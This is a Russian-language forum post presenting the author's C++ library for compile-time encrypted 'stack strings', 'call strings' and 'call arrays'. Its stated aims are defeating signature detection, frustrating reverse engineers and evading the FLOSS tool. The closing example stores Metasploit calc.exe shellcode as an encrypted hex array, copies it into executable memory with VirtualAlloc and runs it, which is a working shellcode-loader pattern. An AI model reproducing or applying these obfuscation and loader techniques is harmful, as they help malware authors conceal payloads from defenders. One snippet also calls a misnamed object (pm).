Начинающий
-
Автор темы
- #1
Немного опишу здесь как это работает и зачем нужно, если хотите более детально - смотрите прикрепленные ссылки на godbolt на гитхабе проекта, там можно посмотреть во что это все компилится.
Стековые строки:Строка пушится на стек в рантайме, вместого того чтобы храниться в секции .rdata.
Чтобы заставить компилятор разместить строку на стеке на Си нужно объявлять ее как массив, внутри функции
В моей же библиотеке с помощью использования различных трюков метапрограммирования можно писать строку нормально.
Кроме того она будет зашифрована во время компиляции, что гораздо менее удобно с использованием стандартного метода.
Каждую строку можно шифровать рандомным ключом, для этого я добавил специальный макрос RAND(), генерирующий рандомные значения во время компиляции.
Это нужно, чтобы сигнатуры не повторялись между компиляциями, либо чтобы реверсер каждый раз вынужден был находить новый ключ и между разными строками и между разными компиляциями.
Учитывая, что функция расшифровки всегда инлайнится, это еще сильнее усложняет анализ.
Вот как это можно реализовать на Си:
Намного более удобное решение - использовать данную библиотку.
В моей библиотеке возвращается не сам символ, а XOR-зашифрованный символ, после чего всю строку можно расшифровать.
Аналогично можно использовать разные ключи. Расшифровка инлайнится.
Call-массивыКроме строк можно создавать Call-массивы, например чтобы хранить в них небольшой шеллкод.
На данный момент Call-Строки не детектятся ни одной утилитой. Стековые зашифрованные строки детектятся утилитой FLOSS
Пожалуйста, авторизуйтесь для просмотра ссылки.
Стековые строки:
Чтобы заставить компилятор разместить строку на стеке на Си нужно объявлять ее как массив, внутри функции
char stack_string[] = {'S', 't', 'a', 'c', 'k', ' ', 's', 't', 'r', 'i', 'n', 'g', '\0'};
В моей же библиотеке с помощью использования различных трюков метапрограммирования можно писать строку нормально.
StackString<"Null-terminated Stack String", RAND()> ss;
Кроме того она будет зашифрована во время компиляции, что гораздо менее удобно с использованием стандартного метода.
Каждую строку можно шифровать рандомным ключом, для этого я добавил специальный макрос RAND(), генерирующий рандомные значения во время компиляции.
Это нужно, чтобы сигнатуры не повторялись между компиляциями, либо чтобы реверсер каждый раз вынужден был находить новый ключ и между разными строками и между разными компиляциями.
Учитывая, что функция расшифровки всегда инлайнится, это еще сильнее усложняет анализ.
Код:
StackString<"Null-terminated Stack String", RAND()> ss;
pm.EncryptDecrypt(); // don't forget to decrypt the string before using it
std::cout << ss.Buf << '\n';
ss.EncryptDecrypt(); // encrypt again after use
StackString<"Stack String without null terminator", RAND(), false> ss2;
ss2.EncryptDecrypt();
std::cout << ss2.Buf << '\n';
ss2.EncryptDecrypt();
Call-строки.
Каждый символ строки - незаинлайненный вызов к функции, которая возвращает определенный символ.Вот как это можно реализовать на Си:
Код:
#define NOINLINE __declspec(noinline)
NOINLINE char SymH() {
return 'H';
}
NOINLINE char SymE() {
return 'E';
}
NOINLINE char SymL() {
return 'L';
}
NOINLINE char SymO() {
return 'O';
}
NOINLINE char SymNULL() {
return '\0';
}
int main() {
char Hello[6];
Hello[0] = SymH();
Hello[1] = SymE();
Hello[2] = SymL();
Hello[3] = SymL();
Hello[4] = SymO();
Hello[5] = SymNULL();
printf("%s\n", Hello);
}
Код:
CallString<"Null-terminated Call String", RAND()> cs;
cs.EncryptDecrypt(); // don't forget to decrypt the string before using it
printf(cs.Buf);
cs.EncryptDecrypt(); // encrypt again after use
CallString<"Call String without null terminator", RAND()> cs2;
cs2.EncryptDecrypt();
printf(cs2.Buf);
cs2.EncryptDecrypt();
Аналогично можно использовать разные ключи. Расшифровка инлайнится.
Call-массивы
Код:
int main()
{
// metasploit run calc.exe
CallArrayFromHex<"53 56 57 55 54 58 66 83 E4 F0 50 6A 60 5A 68 63 61 6C "
"63 54 59 48 29 D4 65 48 8B 32 48 8B 76 18 48 8B 76 10 48 AD "
"48 8B 30 48 8B 7E 30 03 57 3C 8B 5C 17 28 8B 74 1F 20 48 01 FE 8B 54 "
"1F 24 0F B7 2C 17 8D 52 02 AD 81 3C 07 57 69 6E 45 75 EF 8B 74 1F 1C "
"48 01 FE 8B 34 AE 48 01 F7 99 FF D7 48 83 C4 68 5C 5D 5F 5E 5B 0C "
"CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC", RAND()> calc;
calc.EncryptDecrypt();
const auto alloc = VirtualAlloc(0, sizeof(calc), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(alloc, calc.Buf, sizeof(calc));
((void (*)())alloc)();
calc.EncryptDecrypt();
}
Пожалуйста, авторизуйтесь для просмотра ссылки.